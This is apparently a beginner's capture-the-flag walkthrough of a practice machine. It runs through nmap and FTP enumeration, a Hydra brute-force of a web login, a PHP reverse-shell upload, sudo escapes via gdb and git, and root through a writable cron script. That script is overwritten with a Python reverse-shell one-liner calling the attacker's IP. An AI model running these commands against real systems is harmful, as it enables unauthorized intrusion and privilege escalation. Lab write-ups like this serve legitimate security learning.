Lets get started,
This is my first writeup about machines, so correct me if I am wrong anywhere.
First deploy the machine and fire your nmap scan
nmap -A 10.10.73.175
Three ports were open,
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 17 Jul 05 21:45 test.txt
| FTP server status:
| Connected to ::ffff:10.9.24.148
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| 2048 98:6c:7f:49:db:54:cb:36:6d:d5:ff:75:42:4c:a7:e0 (RSA)
| 256 0c:7b:1a:9c:ed:4b:29:f5:3e:be:1c:9a:e4:4c:07:2c (ECDSA)
|_ 256 50:09:9f:c0:67:3e:89:93:b0:c9:85:f1:93:89:50:68 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
There is anonymous logon on FTP, checking it, we get a file called test.txt. So further viewing the directory, we could see a directory named …. digging into it, we see a file called yougotgoodeyes.txt
Viewing the contents, we have
The second one seems to be a web directory, lets move on to enumerating the Web Server.
Browsing to http://10.10.73.175 shows a default It Works! page of the Apache Server running on Ubuntu.
Next lets brute-force directories using gobuster,
gobuster dir -u http://10.10.73.175/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
While that takes time, we could make some guesses that would be present in the server, the first thing that comes in our mind is robots.txt
Browsing to it, reveals some interesting information,
This also reveals a potential username, d4rckh, next we may get into the directory to see whats in there.
Downloading the two files, userid file contains a list of usernames, while credentials.txt contains a list of passwords.
By now, the gobuster directory bruteforce will have been finished, but there seems to be nothing more than files like index.html, robots.txt. So now, we move on to the directory that we found from FTP.
It shows a login page,
Now we could connect everything back, we could use the credentials we found in admin-dir to bruteforce this login form.
There was a possible username enumeration in the login form, when you give an incorrect username, it shows up “Incorrect username!”, but when username is correct and the password is wrong, it shows up “Incorrect password!”.
Using this I first enumerated the username, from the userid list. You could use either “Burp Intruder” or “Hydra”, go with anything you are familiar with. I used Hydra.
hydra -L userid 10.10.73.175 http-post-form "/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=password123:Incorrect username!"
This fires different usernames with the same password password123, this reveals the username to be enox
Now we could bruteforce the password,
hydra -l enox -P credentials.txt 10.10.73.175 http-post-form "/sUp3r-s3cr3t/authenticate.php:username=^USER^&password=^PASS^:Incorrect password!"
Then we get the credentials,
This then revealed an file upload functionality,
I just simply uploaded a file and searched where it is located, like /uploads, /files etc.., couldn’t guess it correctly, so I used gobuster again.
gobuster dir -u http://10.10.73.175/sUp3r-s3cr3t/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Then the uploaded image was in the /images/uploads directory.
Now I downloaded the PHP Reverse shell from the pentestmonkey and changed the IP and port and uploaded as it is, there was no restriction to file extensions.
Now I started a listener using netcat and browsed to the uploaded shell on my browser.
nc -lvnp 1337
Then moving around, I found user.txt in the /home/d4rckh directory
From the /home directory, we can know that there are two users on the system thirtytwo and d4rckh.
Now uprading our shell to TTY,
python -c 'import pty; pty.spawn("/bin/bash")'
PRIVILEGE ESCALATION — USER 1
The privilege escalation is the fun part of the box and it was very much easier.
From www-data, starting with
We see that we could run the /var/www/gbd binary as user thirtytwo without password.
Viewing the GTFOBins for privesc to thirtytwo,
sudo -u thirtytwo /var/www/gdb -nx -ex '!sh' -ex quit
We could successfully escalate our privileges as user thirtytwo,
When typing the command donot forget the path of the gdb binary.
Now moving on to next user.
PRIVILEGE ESCALATION — USER 2
We could see the note.txt in the thirtytwo user’s home folder, reading it we could find something interesting.
Now, performing the same as before
sudo -l , we could see that, we can run git as user d4rckh without password.
Looking into GTFOBins,
sudo -u d4rckh PAGER='sh -c "exec sh 0<&1"' git -p help
This didn’t work because we could set the PAGER environment variable.
sudo -u d4rckh git -p help config
Looking at the user d4rckh’s home directory, we find a python file cleanup.py
It seems to delete contents of /home/cleanup directory.
PRIVILEGE ESCALATION — ROOT
Now, the same
sudo -l doesn’t work here, it asks for a password. We may guess that the cleanup.py may be run as a cron job.
So taking a look at the /etc/crontab file,
Our guess is correct, also the permissions on the cleanup.py file are too weak and is also owned by root.
So when the file is run it would be run as root.
Now we could overwrite the file with a python reverse shell from pentestmonkey,
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.9.24.148",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > cleanup.py
Start a listener in our local machine and just wait for 2 minutes for the cron job to be called.
After 2 minutes, we get a shell and yeah, we are ROOT!
This machine perfectly suits beginners, I too had fun with it. Even I got into trouble sometimes, first while enumerating FTP, I did not run the ls command with the -la
I just ran the ls command so I didn’t get to know about the /sUp3r-s3cr3t directory and with no idea I started bruteforcing SSH and FTP, with no result. Then I ran an allports(-p-) scan using nmap which took forever to complete.
By the time, I again went back to FTP, which made this writeup possible.
Thanks for reading.